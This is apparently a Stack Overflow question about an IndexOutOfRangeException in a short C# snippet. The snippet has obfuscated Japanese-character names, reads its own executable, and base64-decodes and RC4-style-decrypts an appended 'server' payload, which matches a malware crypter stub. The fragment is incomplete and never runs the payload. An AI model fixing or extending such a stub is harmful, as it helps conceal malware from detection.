title: Index was outside the bound of Array C#
body: <p>I am using this code but getting an error when debugging my code.System.IndexOutOfRangeException: 'Index was outside the bounds of the array. I don't know how to reslove this issue.</p>
  <pre><code>sealed class でちてででェはャべ意ちのはてきすてスすいい抱愛で私つ任合いス
  {
  
      const string data1 = &quot;[technovez]&quot;;
   const string data2 = &quot;[system]&quot;;
      static string[] a1;
      static byte[] a2;
  
      static public void た私ェたもでの合合ェ私任でちェつべ合のたすがジェつすでた愛た()
      {
          a1 = Strings.Split(File.ReadAllText(Process.GetCurrentProcess().MainModule.FileName), data2);///excrever em my project .exe
          a2 = cr4_C(Convert.FromBase64String(a1[1]), data1);   //desconverte server to base64                  
          Encoding.GetEncoding(1252).GetBytes(a1[1]);
      }
      
      }
  </code></pre>
  <p><a href="https://i.stack.imgur.com/ohBuK.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/ohBuK.png" alt="enter image description here" /></a></p>